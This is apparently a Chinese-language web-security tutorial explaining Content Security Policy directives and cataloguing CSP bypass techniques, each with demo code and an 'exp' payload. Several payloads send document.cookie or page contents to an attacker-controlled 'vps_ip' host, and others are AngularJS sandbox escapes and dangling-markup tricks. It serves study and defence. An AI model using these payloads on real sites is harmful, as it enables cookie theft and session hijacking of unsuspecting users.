CSP浅析与绕过

XSS是最常见、危害最大的网页安全漏洞，想要抵御它们，要采取非常多编程措施，非常麻烦。那么，有没有可以从根本上解决问题，浏览器自动禁止外部注入恶意脚本的方法呢？CSP应运而生。

本文涉及相关实验：XSS进阶之CSP绕过 （实验介绍了CSP防御机制的基本原理，利用script gadget绕过CSP，进而实施XSS攻击，并对攻击原理和过程进行分析。）

什么是CSP

CSP（Content Security Policy，内容安全策略），是网页应用中常见的一种安全保护机制，它实质就是白名单制度，开发者明确告诉客户端，哪些外部资源可以加载和执行，哪些不可以

CSP如何工作

通过响应包头（Response Header）实现：

Content-Security-policy: default-src 'self'; script-src 'self' allowed.com; img-src 'self' allowed.com; style-src 'self';

通过HTML 元标签实现：

<meta http-equiv="Content-Security-Policy" content="default-src 'self'; img-src https://*; child-src 'none';">

CSP指令

我们可以看出，有一部分是CSP中常用的配置参数指令，我们也是通过这些参数指令来控制引入源，下面列举说明：

  • script-src：外部脚本

  • style-src：样式表

  • img-src：图像

  • media-src：媒体文件（音频和视频）

  • font-src：字体文件

  • object-src：插件（比如 Flash）

  • child-src：框架

  • frame-ancestors：嵌入的外部资源（比如<frame>、<iframe>、<embed>和<applet>）

  • connect-src：HTTP 连接（通过 XHR、WebSockets、EventSource等）

  • worker-src：worker脚本

  • manifest-src：manifest 文件

  • dedault-src：默认配置

  • frame-ancestors：限制嵌入框架的网页

  • base-uri：限制<base#href>

  • form-action：限制<form#action>

  • block-all-mixed-content：HTTPS 网页不得加载 HTTP 资源（浏览器已经默认开启）

  • upgrade-insecure-requests：自动将网页上所有加载外部资源的 HTTP 链接换成 HTTPS 协议

  • plugin-types：限制可以使用的插件格式

  • sandbox：浏览器行为的限制，比如不能有弹出窗口等。

除了Content-Security-Policy，还有一个Content-Security-Policy-Report-Only字段，表示不执行限制选项，只是记录违反限制的行为。它必须与report-uri选项配合使用。

Content-Security-Policy-Report-Only: default-src 'self'; ...; report-uri /my_amazing_csp_report_parser;

CSP指令值

介绍完CSP的指令，下面介绍一下指令值，即允许或不允许的资源

  • *： 星号表示允许任何URL资源，没有限制；

  • self： 表示仅允许来自同源（相同协议、相同域名、相同端口）的资源被页面加载；

  • data：仅允许数据模式（如Base64编码的图片）方式加载资源；

  • none：不允许任何资源被加载；

  • unsafe-inline：允许使用内联资源，例如内联<script>标签，内联事件处理器，内联<style>标签等，但出于安全考虑，不建议使用；

  • nonce：通过使用一次性加密字符来定义可以执行的内联js脚本，服务端生成一次性加密字符并且只能使用一次；

下面通过具体的例子来看看CSP指令和指令值的用法：

<img src=image.jpg> 该图片来自https://example.com将被允许载入，因为是同源资源；

<script src=script.js> 该js脚本来自https://example.com将被允许载入，因为是同源资源；

<script src=https://examples.com/script.js>，该js脚本将不允许被加载执行，因为来自https://examples.com， 非同源；

CSP绕过

CSP从诞生时起即有安全研究人员所探索，本文总结部分方法

在开始之前，我们都可以将相应的CSP政策丢上Google 提供的 CSP Evaluator检测一波，有奇效（手动滑稽）

location.href绕过

href 属性是一个可读可写的字符串，可设置或返回当前显示的文档的完整 URL。

CSP不影响location.href跳转，因为在大多数网站中的跳转功能都是靠前端实现的，如果限制跳转将会使网站很大一部分功能受到影响，所以利用跳转来绕过CSP是一个万能的方法；或者存在script-src 'unsafe-inline';这条规则也可以用该绕过方法

demo

<?php    if (!isset($_COOKIE['a'])) {        setcookie('a',md5(rand(0,1000)));    }        header("Content-Security-Policy: default-src 'self';");?><!DOCTYPE html><html><head>    <title>CSP Test</title></head><body><h2>CSP-safe</h2><?php    if (isset($_GET['a'])) {        echo "Your GET content".@$_GET['a'];    }//?>

这个地方可以用location跳转：location.href(window.location/window.open)绕过

exp

?a=<script>location.href="http://127.0.0.1"+document.cookie;</script>

在我们已经可以执行任意js脚本但由于CSP的阻拦我们的cookie无法带外传输，就可以用此方法

location.href = "vps_ip:xxxx?"+document.cookie

  • 可以执行任意js脚本，但由于CSP无法数据外带

  • CSP为script-src 'unsafe-inline'

link标签预加载导致的绕过

这是个老办法了，在大部分浏览器都已经约束了该标签，但是老浏览器可能还可行

<!-- firefox --><link rel="dns-prefetch" href="//${cookie}.vps_ip">

<!-- chrome --><link rel="prefetch" href="//vps_ip?${cookie}">

那我们该如何将数据外带呢

动态构建元素，再引发页面跳转

var link = document.createElement("link");link.setAttribute("rel", "prefetch");link.setAttribute("href", "//vps_ip/?" + document.cookie);document.head.appendChild(link);

这样就可以将cookie外带了

  • 可以执行任意js脚本，但由于CSP无法外带数据

meta网页跳转绕过

与link标签原理相似，利用meta标签实现网页跳转

http://127.0.0.1/csp.php?xss==<meta http-equiv="refresh" content="1;url=http://150.158.188.194:7890/" >

除此之外，meta标签还有一些不常用的功能有时也能起奇效

  • meta可以控制缓存（在header没有设置的情况下），有时候可以用来绕过CSP nonce。

<meta http-equiv="cache-control" content="public">

  • meta可以设置Cookie（Firefox下），可以结合self-xss利用

<meta http-equiv="Set-Cookie" Content="cookievalue=xxx;expires=Wednesday,21-Oct-98 16:14:21 GMT; path=/">

meta这一被很多人忽略的标签，其实可以做到的东西也不少，后面有机会会进一步分析

iframe绕过

iframe 元素会创建包含另外一个文档的内联框架（即行内框架），我们可以通过设置这个来做到一个跨域访问，这其中就有安全问题了，但是今天要用到的并不是这些

在CSP中，通过配置sandbox和child-src可以设置iframe的有效地址，它限制适iframe的行为，包括阻止弹出窗口,防止插件和脚本的执行,而且可以执行一个同源策略。

同源 这才是主角，当一个同源站点存在两个页面，我们称它们为A页面和B页面，假如A页面有CSP保护，而B页面没有，我们就可以直接在B页面新建iframe用js操作A页面的DOM，也就是说A页面的CSP防护完全失效

demo&exp

<!-- A页面 --><meta http-equiv="Content-Security-Policy" content="default-src 'self'; script-src 'self'">

<h1 id="flag">flag{0xffff}</h1>
<!-- B页面 -->

<!-- 下面模拟XSS --><body><script>var iframe = document.createElement('iframe');iframe.src="http://127.0.0.1/a.php";document.body.appendChild(iframe);setTimeout(()=>alert(iframe.contentWindow.document.getElementById('flag').innerHTML),1000);</script></body>

setTimeout是为了等待iframe加载完成

你以为就这样就完了？那你果然和我一样天真了

在找CSP绕过相关资料时，还发现了个好玩的东西（zhazhami师傅的博客）

在Chrome下，iframe标签支持csp属性，这有时候可以用来绕过一些防御，例如"http://xxx"页面有个js库会过滤XSS向量，我们就可以使用csp属性来禁掉这个js库。

<iframe csp="script-src 'unsafe-inline'" src="http://xxx"></iframe>

  • 一个同源站点存在两个页面，其中一个有CSP保护，一个没有且存在xss漏洞

  • 我们要的数据在存在CSP保护的页面中

CDN绕过

一般来说，前端要用到许多的前端框架和库，而部分企业为了效率或者其他原因，会选择使用其他CDN上的js框架，当这些CDN上存在一些低版本的框架时，就可能存在绕过CSP的风险

这里借Orange大神绕过hackmd CSP的文章（A Wormable XSS on HackMD!）来分析一波

demo

先来看hackmd的CSP策略

content-security-policy: script-src 'self' vimeo.com https://gist.github.com www.slideshare.net https://query.yahooapis.com 'unsafe-eval' https://cdnjs.cloudflare.com https://cdn.mathjax.org https://www.google.com https://apis.google.com https://docs.google.com https://www.dropbox.com https://*.disqus.com https://*.disquscdn.com https://www.google-analytics.com https://stats.g.doubleclick.net https://secure.quantserve.com https://rules.quantcount.com https://pixel.quantserve.com https://js.driftt.com https://embed.small.chat https://static.small.chat https://www.googletagmanager.com https://cdn.ravenjs.com 'nonce-38703614-d766-4dff-954b-57372aafe8bd' 'sha256-EtvSSxRwce5cLeFBZbvZvDrTiRoyoXbWWwvEVciM5Ag=' 'sha256-NZb7w9GYJNUrMEidK01d3/DEtYztrtnXC/dQw7agdY4=' 'sha256-L0TsyAQLAc0koby5DCbFAwFfRs9ZxesA+4xg0QDSrdI='; img-src * data:; style-src 'self' 'unsafe-inline' https://assets-cdn.github.com https://cdnjs.cloudflare.com https://fonts.googleapis.com https://www.google.com https://fonts.gstatic.com https://*.disquscdn.com https://static.small.chat; font-src 'self' data: https://public.slidesharecdn.com https://cdnjs.cloudflare.com https://fonts.gstatic.com https://*.disquscdn.com; object-src *; media-src *; frame-src *; child-src *; connect-src *; base-uri 'none'; form-action 'self' https://www.paypal.com; upgrade-insecure-requests

看到了unsafe-eval这个关键字，可以想到Breaking XSS mitigations via Script Gadgets手法，但我们继续往下看就会发现，其实没这么复杂，因为该CSP政策还允许了https://cdnjs.cloudflare.com/这个js hosting服务，这个提供了很多第三方的函数库以供引入，这样我们就可以直接借助AngularJS 函数库以及Client-Side Template Injection里面成熟的沙盒逃逸技术绕过

再因为原本WAF对注释的完全可信，可以构造出<!-- foo="bar--><script>alert(1)</script>>" -->这一payload，用-->来闭合前面的注释，来让后面内容完全可控

两者结合，得出最终payload

exp

<!-- foo="--><script src=https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.0.8/angular.min.js></script><div ng-app>    {{constructor.constructor('alert(document.cookie)')()}}</div>//sssss" -->

详细内容看Orange师傅的文章

如果用了Jquery-mobile库，且CSP中包含"script-src 'unsafe-eval'"或者"script-src 'strict-dynamic'"，可以用此exp

<div data-role=popup id='<script>alert(1)</script>'></div>

还比如RCTF2018题目出现的AMP库,下面的标签可以获取名字为FLAG的cookie

<amp-pixel src="http://your domain/?cid=CLIENT_ID(FLAG)"></amp-pixel>

总而言之，这一绕过方法主要可以套用网上相应的payload格式来绕过CSP，在Breaking XSS mitigations via Script Gadgets中总结了可以被用来CDN绕过的一些JS库，可以用作参考

  • CDN服务商存在低版本的js库

  • 该CDN服务商在CSP白名单中

站点可控静态资源绕过

给一个绕过codimd的(实例)codimd xss

案例中codimd的CSP中使用了www.google-analytics.com 而www.google.analytics.com中提供了自定义javascript的功能（google会封装自定义的js，所以还需要unsafe-eval），于是可以绕过CSP

demo

<meta http-equiv="Content-Security-Policy" content="default-src 'self'; script-src 'unsafe-eval' https://www.google-analytics.com"><script src="https://www.google-analytics.com/gtm/js?id=GTM-PJF5W64"></script>

exp

同理，在其他站点提供了可控静态资源的功能时，且CSP中允许了此站点，就可以用该方式绕过

  • 存在可控静态资源

  • 站点在CSP允许名单中

不完整script标签绕过

我们先来了解一个小知识（敲黑板）：当浏览器碰到一个左尖括号时，会变成标签开始状态，然后会一直持续到碰到右尖括号为止，在其中的数据都会被当成标签名或者属性

好，我们开搞

demo1

<?php header("X-XSS-Protection:0");?><meta http-equiv="Content-Security-Policy" content="default-src 'self'; script-src 'nonce-xxxxx'"><?php echo $_GET['xss']?><script nonce='xxxxx'>  //do some thing</script>

exp

当我们输入http://127.0.0.1/2.php?xss=<script src=data:text/plain,alert(1)，我们可以发现<script就会被变成一个属性，值为空，之后的nonce='xxxxx'

会被当成我们输入的script标签中的一个属性，成功绕过script-src

demo2

但是在chrome中，虽然第二个<script 被当成了属性名，但依旧会干扰chrome对标签的解析，造成错误，使我们的exp无法成功执行

exp

这里可以用到标签的一个技巧，当一个标签存在两个同名属性时，第二个属性的属性名及其属性值都会被浏览器忽略

<!-- 3.php --><h1 a="123" b="456" a="789" a="abc">123</h1>

于是我们可以输入 http://127.0.0.1/2.php?xss=123<script src="data:text/plain,alert(1)" a=123 a= 先新建一个a属性，然后再新建第二个a属性，这样我们就将第二个<script赋给了第二个a属性，浏览器在解析的时候直接忽略了第二个属性及其后面的值，这样exp就能成功在chrome浏览器上执行

  • 可控点在合法script标签上方,且其中没有其他标签

  • XSS页面的CSP script-src只采用了nonce方式

不完整的资源标签获取资源

demo

<meta http-equiv="Content-Security-Policy" content="default-src 'self';script-src 'self'; img-src *;"><?php echo $_GET['xss']?><h1>flag{0xffff}</h1><h2 id="id">3</h2>

这里可以注意到img用了*,有些网站会用很多外链图片，所以这个情况并不少见，虽然我们可以新建任意标签，但是由于CSP我们的JS并不能执行（没有unsafe-inline），于是我们可以用不完整的<img标签来将数据带出

exp

http://127.0.0.1/csp.php?xss=<img src="https://vps_ip?a=

此时由于我们传入的src的引号没有闭合，html解析器会一直寻找第二个引号，而直到”id“前的引号出现之前，所有内容都会被当作src的值发送到我们的vps上

需要注意的是，chrome下这个exp并不会成功，因为chrome不允许发出的url中含有回车或<

  • 可以加载外域资源 (img-src: *)

  • 需要获取页面某处的信息

302（重定向）绕过

很多时候一个网站都会带有一个302跳转功能的页面,用它来导向到本站的资源或者是外部的链接 我们首先看一下w3c文档里关于重定向的说明https://www.w3.org/TR/CSP2/#source-list-paths-and-redirects

很明显的,如果我们的script-src设置为某个目录,通过这个目录下的302跳转,是可以绕过csp读取到另一个目录下的脚本的。

接下来就来模拟分析一波

demo

<!-- csp.php --><?php header("Content-Security-Policy: default-src 'self';script-src http://127.0.0.1/a/");?>

 <html> <head> </head> <body>     csp header test  </body> </html>
<!-- redirect.php --><?phpheader("Location: " . $_GET[url]);?>
<!-- test.php --><!DOCTYPE html><html><head>    <title>1</title></head><body>123</body></html>

csp限制了/a/目录，而我们的目标脚本在/b/目录下则如果这时候请求redirect页面去访问/b/下的脚本是可以通过csp的检查的

exp

http://127.0.0.1/a/redirect.php?url=/b/test.php

但这是有一个很严格的条件的，加载的资源所在的域必须和自身处于同域下(example.com)，也就是不可能通过302跳转去加载一个其他域下的脚本的，比如通过a.com的302跳转去加载b.com下的脚本是不可以

但！又来个但是了，在实际环境中，比如某个站调用某个cdn，或者类似于script-src example.com/scripts/ google.com/recaptcha/，google.com/script/*下有个evil.js，然后刚好站内有个重定向，漏洞条件就已经成立了。

  • 在script-src允许的域下，需要存在一个重定向的页面，这种页面大多存在于登陆，退出登录

  • 在script-src允许的域下，存在某个任意文件的上传点（任意目录）

  • 有特别的方式可以跨域发送请求，或者有站内域可以接受请求

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